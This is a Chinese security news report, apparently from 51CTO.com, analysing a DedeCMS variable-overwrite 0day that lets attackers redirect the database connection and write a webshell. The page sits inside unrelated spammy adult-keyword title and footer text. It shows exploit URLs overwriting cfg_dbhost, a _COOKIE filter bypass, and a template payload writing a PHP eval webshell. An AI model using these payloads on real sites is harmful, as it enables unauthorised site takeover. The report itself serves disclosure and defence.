成人免费xxxxx在线视频软件_久久精品久久久_亚洲国产精品久久久_天天色天天色_亚洲人成一区_欧美一级欧美三级在线观看

Dede GetWebShell 0Day漏洞分析報告

安全
DedeCMS的漏洞成因主要是由于變量覆蓋導致而成,攻擊者通過通過提交變量,覆蓋數據庫連接配置的全局變量,從而可以使被攻擊的網站反向連接攻擊者指定的數據庫,讀取指定的內容,并在被攻擊的網站中直接寫入WebShell。

51CTO.com綜合報道】

事件背景:

近日很多網站被爆遭到入侵,經過安全寶安全實驗室研究分析,這些網站使用的都是DedeCMS內容管理系統,DedeCMS爆出一個很嚴重的漏洞,攻擊者可以直接向服務器中寫入"一句話木馬"。

DedeCMS的漏洞成因主要是由于變量覆蓋導致而成,攻擊者通過通過提交變量,覆蓋數據庫連接配置的全局變量,從而可以使被攻擊的網站反向連接攻擊者指定的數據庫,讀取指定的內容,并在被攻擊的網站中直接寫入WebShell。從整個攻擊過程來看,這種攻擊利用方式也比較巧妙,避開了傳統的注入,破解,登錄后臺和上傳木馬的攻擊模式,攻擊者可以在未授權的前提下直接向網站目錄中寫入WebShell,從而控制網站,危害嚴重。

隨著網站管理員的安全意識的逐漸提高,網絡安全設備的引入,模塊和程序的過濾;傳統的入侵模式也越來越捉襟見肘,從這次攻擊中,我們發現傳統的Web攻擊思想也在發生變換,它們正慢慢由正向攻擊向反向攻擊過渡,其實在系統的攻擊中,反向攻擊早就存在,攻擊者為了繞過防火墻一些列的前端過濾設備,利用木馬使被攻擊機器自己發起連向攻擊者機器的請求,而防火墻通常是不會攔截機器主動發現的連接,從而攻擊者很容易繞過了前端一系列的過濾和障礙。

分析報告:

下面我們一起來看下Dede的漏洞原因,首先我們來看個變量覆蓋漏洞的原型基礎:

VulTest.php:

<?php

$anquanbao="imiyoo_first";

foreach($_GET  as $key=>$value)

$$key=$value;

echo "\$anquanbao=".$anquanbao;

?>

攻擊者顯然通過$_GET提交變量覆蓋已經定義的變量,效果如下圖:

攻擊前圖片

攻擊后圖片($anquanbao變量已經被覆蓋)

有了這個漏洞的基礎,現在我們來看看Dede的漏洞詳細信息,漏洞主要發生在文件/plus/mytag_js.php中:

我們首先讀下這段代碼的處理流程,程序在開始會獲取用戶提交的$aid變量,如果需要顯示不需要顯示緩存內容,則會從數據庫表'#@_mytag'中讀取記錄,并將讀取的$tagbody內容以Dede模版形式寫入緩存文件中。

在這里很顯然存在變量$aid的注入漏洞,但由于該表的內容一般都為空,而且Dede對提交的單引號都會有過濾,基本屬于雞肋漏洞;但是如果結合變量覆蓋漏洞,攻擊者就可以利用該漏洞覆蓋數據庫配置文件的連接信息,將數據庫的連接重定向到攻擊者可以控制的一個數據庫,那么這樣攻擊者就能完全控制$tagbody的內容,而且在DedeCMS文章管理系統中,模版中是可以嵌入PHP代碼,也就是說攻擊者可以執行自己的PHP代碼,從而可以輕易地向服務器中寫入一句話木馬,達到攻擊的效果。

在對漏洞進行測試的時候,我們發現Dede產生變量覆蓋漏洞的代碼在/include/common.inc.php中,如下:

通過這段代碼我們可以對程序中的任何變量進行覆蓋,為了覆蓋數據庫配置文件中的變量,其實我們覆蓋$cfg_dbhost或$GLOBALS[cfg_dbhost]都可以,因此我們可以提交形如下面的測試代碼:

   Ø mytag_js.php?_GET[cfg_dbhost]=www.anquanbao.com

   Ø mytag_js.php?_GET[GLOBALS][cfg_dbhost]= www.anquanbao.com

不過DedeCMS對這種形式的攻擊也是有防范,但只是對提交的變量中的鍵值進行了判斷,代碼如下:

但是這個變量$_k只是對一維數據的鍵值進行判斷,而Dede對變量的提取卻是支持多維的,如果攻擊者提交的是多維的變量就可以很容易繞過,為了繞過正則的檢測,同時達到覆蓋變量的效果;因此我們可以很容易想到$_COOKIE變量,更重要的是Dede也支持$_COOKIE提交變量,因此我們就可以得到如下的有效攻擊代碼: 

Ø mytag_js.php?_GET[_COOKIE][GLOBALS][cfg_dbhost]=www.anquanbao.com

利用上面的代碼就可以繞過DedeCMS的正則檢測,同時可以覆蓋$GLOBALS[cfg_dbhost]變量。

分析總結:

通過對上面的分析,那么現在我們就能很清楚整個攻擊流程:

1 攻擊者會預先準備一個MySQL數據庫,數據庫中包含有一個表明為'#@_mytag'的數據表,其中'#@'是待攻擊數據庫的表前綴,并在表中插入一條記錄來控制$tagbody的內容,使其能夠寫入一句話木馬,而且Dede利用模版寫入一句話木馬的代碼如下:

{dede:php}

$fp = @fopen("test.php", \'a\');

@fwrite($fp, \'<?php eval($_POST[test]) ?>\');

echo "OK";

@fclose($fp);

{/dede:php}

2 提交變量覆蓋語句讀取表中指定的內容,即可在當前路徑下寫入一句話木馬。

鑒于很多使用DedeCMS的網站還沒有修補該漏洞,因此在這里就不公布危害性攻擊代碼。

安全建議:

許多程序員在對$_GET,$_POST或$_COOKIE獲取的變量處理中,進行了對多維數組變量的遞歸解析,但是卻在過濾的時候并沒有對每一維的鍵值進行判斷和檢測;例如,在本次爆出的Dede的0day,程序員就只考慮到檢測二維數組的鍵值,但是攻擊者卻可以通過提交三維數組生成COOKIE變量輕易繞過。因此程序員如果在保證程序能夠對多維變量進行解析的時候,同時也是需要對每一維的鍵值進行有效檢測和判斷。

 

責任編輯:守望幸福 來源: 51CTO.com
相關推薦

2015-05-20 16:34:14

2009-07-06 13:15:07

2013-05-23 10:48:14

EPATHOBJ 0d0day漏洞

2021-10-06 13:48:50

0day漏洞攻擊

2022-03-30 09:09:39

漏洞網絡安全網絡攻擊

2013-05-24 14:02:42

2022-03-25 13:41:55

漏洞網絡攻擊Quantum(量子

2015-07-08 13:52:18

2010-01-20 16:13:15

2021-07-14 17:17:45

0day漏洞惡意代碼

2020-12-17 10:28:27

漏洞網絡攻擊網絡安全

2009-09-09 08:54:50

2011-02-28 09:34:55

2011-03-15 15:14:22

2010-09-01 15:18:04

2015-08-31 10:09:34

2014-10-15 17:29:33

2009-11-29 16:53:17

2012-06-19 15:16:05

2021-04-26 10:09:11

0Day漏洞Google Chro
點贊
收藏

51CTO技術棧公眾號

主站蜘蛛池模板: 日韩中文一区二区三区 | 日韩一二区在线观看 | 国产成人精品一区二区三区在线 | 欧美11一13sex性hd | 网站黄色在线免费观看 | 中文字幕高清视频 | 欧美中文在线 | 91精品久久久久久久久 | 91免费在线视频 | 久在线视频播放免费视频 | 精品国产一区二区国模嫣然 | 99精品在线 | 久久精品国产久精国产 | 国产精品电影在线观看 | 99精品网 | 欧美日韩精品一区二区三区蜜桃 | 亚洲看片网站 | 91精品久久久久久久久中文字幕 | 天天干夜夜操 | 国产精品一区一区 | 国产精品久久久久久吹潮 | 狠狠色综合久久婷婷 | 精品国产欧美一区二区三区成人 | 国产福利91精品 | 亚洲第一视频网站 | 自拍亚洲 | 国产午夜精品视频 | 在线亚洲精品 | 亚洲视频免费在线 | 天天综合网天天综合色 | 精品一区二区三区在线观看 | av在线免费观看网站 | 久久性色 | 草久在线 | 久久久精品一区 | 国产精品欧美精品日韩精品 | 日韩欧美在线免费观看视频 | 一区二区三区四区国产 | 精品视频在线一区 | 欧美v片 | 97色在线视频 |